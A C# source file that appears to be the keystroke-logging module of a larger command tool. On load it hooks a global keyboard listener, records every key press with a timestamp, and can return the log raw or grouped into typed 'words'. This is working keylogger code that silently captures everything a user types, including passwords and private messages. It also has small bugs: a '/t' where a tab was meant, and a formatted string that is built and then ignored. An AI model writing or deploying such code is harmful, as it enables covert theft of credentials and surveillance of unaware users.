﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Commands.Logging
{
    internal static class KeyboardEventsLogger
    {
        static KeyboardEventsLogger()
        {
            _listener = new KeyboardListener();
            _listener.KeyDown += new RawKeyEventHandler(_KeyDown);
        }

        public static string GetFormattedFullLog()
        {
            var sb = new StringBuilder();
            foreach (var ch in GetFullLog())
            {
                sb.AppendFormat("{0} {1}", ch.DateTime, ch.Args.ToString());
                sb.AppendLine();
            }

            return sb.ToString();
        }

        public static string GetFormattedWordsLog()
        {
            var sb = new StringBuilder();
            foreach (var ch in GetFullLog())
            {
                sb.AppendFormat("{0}/t{1}", ch.DateTime, ch.ToString());
                sb.AppendLine();
            }

            return String.Concat(GetWordsLog());
        }

        public static IEnumerable<KeyEvent> GetFullLog()
        {
            return _log;
        }

        public static IEnumerable<Word> GetWordsLog()
        {
            return Word.ConvertToWords(_log);
        }

        private static void _KeyDown(object sender, RawKeyEventArgs args)
        {
            _log.Add(new KeyEvent(args, DateTime.Now));
        }

        private static List<KeyEvent> _log = new List<KeyEvent>();
        private static KeyboardListener _listener;
    }

    class KeyEvent
    {
        public KeyEvent(RawKeyEventArgs args, DateTime dateTime)
        {
            this.Args = args;
            this.DateTime = dateTime;
        }

        public RawKeyEventArgs Args { get; private set; }
        public DateTime DateTime { get; private set; }
    }

    class Word
    {
        private Word(KeyEvent firstArgs)
        {
            this._args.Add(firstArgs);
        }

        public static IEnumerable<Word> ConvertToWords(IEnumerable<KeyEvent> events)
        {
            var result = new List<Word>();

            var lastDateTime = DateTime.MinValue;
            foreach (var key in events)
            {
                var last = result.LastOrDefault();
                // If we have no word, or if time from last character is too much - start new word.
                if (last == null || key.DateTime.Subtract(last._args.Last().DateTime) > TimeSpan.FromSeconds(1))
                    result.Add(new Word(key));
                // Otherwise - add char to last word.
                else
                    last._args.Add(key);
            }

            return result;
        }

        public IEnumerable<KeyEvent> Args
        {
            get
            {
                return _args;
            }
        }

        public override string ToString()
        {
            var result = string.Empty;
            foreach (var charac in _args)
            {
                //KeysConverter kc = new KeysConverter();
                //string keyChar = kc.ConvertToString(charac);

                //if (charac.Args.Key == System.Windows.Input.Key.Space)
                //    result += " ";
                //else
                //    result += charac.Args.ToString();

                result += charac.Args.Character;
            }
            return result;
        }

        private List<KeyEvent> _args = new List<KeyEvent>();
    }
}
